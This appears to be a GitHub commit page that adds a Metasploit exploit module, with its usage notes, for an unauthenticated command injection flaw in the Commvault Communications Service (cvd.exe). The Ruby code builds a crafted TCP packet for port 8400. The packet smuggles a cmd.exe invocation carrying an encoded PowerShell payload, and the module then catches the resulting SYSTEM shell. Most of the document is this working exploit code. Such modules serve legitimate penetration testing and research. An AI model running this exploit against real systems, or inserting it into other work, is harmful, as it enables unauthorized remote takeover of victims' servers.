Skip to content

Commit d138f15

Browse files
committed
Land rapid7#9340, Add exploit for Commvault Remote Command Injection
Land rapid7#9340
2 parents 9fbddd6 + 7aa2965 commit d138f15

File tree

2 files changed

+119
-0
lines changed

2 files changed

+119
-0
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
## Vulnerable Application
2+
3+
4+
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
5+
6+
7+
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
8+
9+
10+
11+
## Verification Steps
12+
13+
1. Start msfconsole
14+
15+
2. `use exploit/windows/misc/commvault_cmd_exec`
16+
17+
3. `set RHOST [ip]`
18+
19+
4. `exploit`
20+
21+
5. shellz :)
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/powershell'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Exploit::Powershell
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Commvault Communications Service (cvd) Command Injection',
16+
'Description' => %q{
17+
This module exploits a command injection vulnerability
18+
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
19+
and v10). The vulnerability exists in the cvd.exe service and allows an
20+
attacker to execute arbitrary commands in the context of the service. By
21+
default, the Commvault Communications service installs and runs as SYSTEM in
22+
Windows and does not require authentication. This vulnerability was discovered
23+
in the Windows version. The Linux version wasn't tested.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
33+
],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
38+
{
39+
'Arch' => [ARCH_X64, ARCH_X86]
40+
}
41+
],
42+
],
43+
'Privileged' => true,
44+
'DefaultTarget' => 0,
45+
'DisclosureDate' => 'Dec 12 2017'))
46+
47+
register_options([Opt::RPORT(8400)])
48+
49+
end
50+
51+
def exploit
52+
53+
buf = build_exploit
54+
print_status("Connecting to Commvault Communications Service.")
55+
connect
56+
print_status("Executing payload")
57+
#Send the payload
58+
sock.put(buf)
59+
#Handle the shell
60+
handler
61+
disconnect
62+
63+
end
64+
65+
66+
def build_exploit
67+
68+
#Get encoded powershell of payload
69+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
70+
#Remove additional cmd.exe call
71+
psh = "powershell"
72+
idx = command.index(psh)
73+
command = command[(idx)..-1]
74+
75+
#Build packet
76+
cmd_path = 'C:\Windows\System32\cmd.exe'
77+
msg_type = 9
78+
zero = 0
79+
payload = ""
80+
payload += make_nops(8)
81+
payload += [msg_type].pack('I>')
82+
payload += make_nops(328)
83+
payload += cmd_path
84+
payload += ";"
85+
payload += ' /c "'
86+
payload += command
87+
payload += '" && echo '
88+
payload += "\x00"
89+
payload += [zero].pack('I>')
90+
91+
#Add length header and payload
92+
ret_data = [payload.length].pack('I>')
93+
ret_data += payload
94+
95+
ret_data
96+
97+
end
98+
end

0 commit comments

Comments
 (0)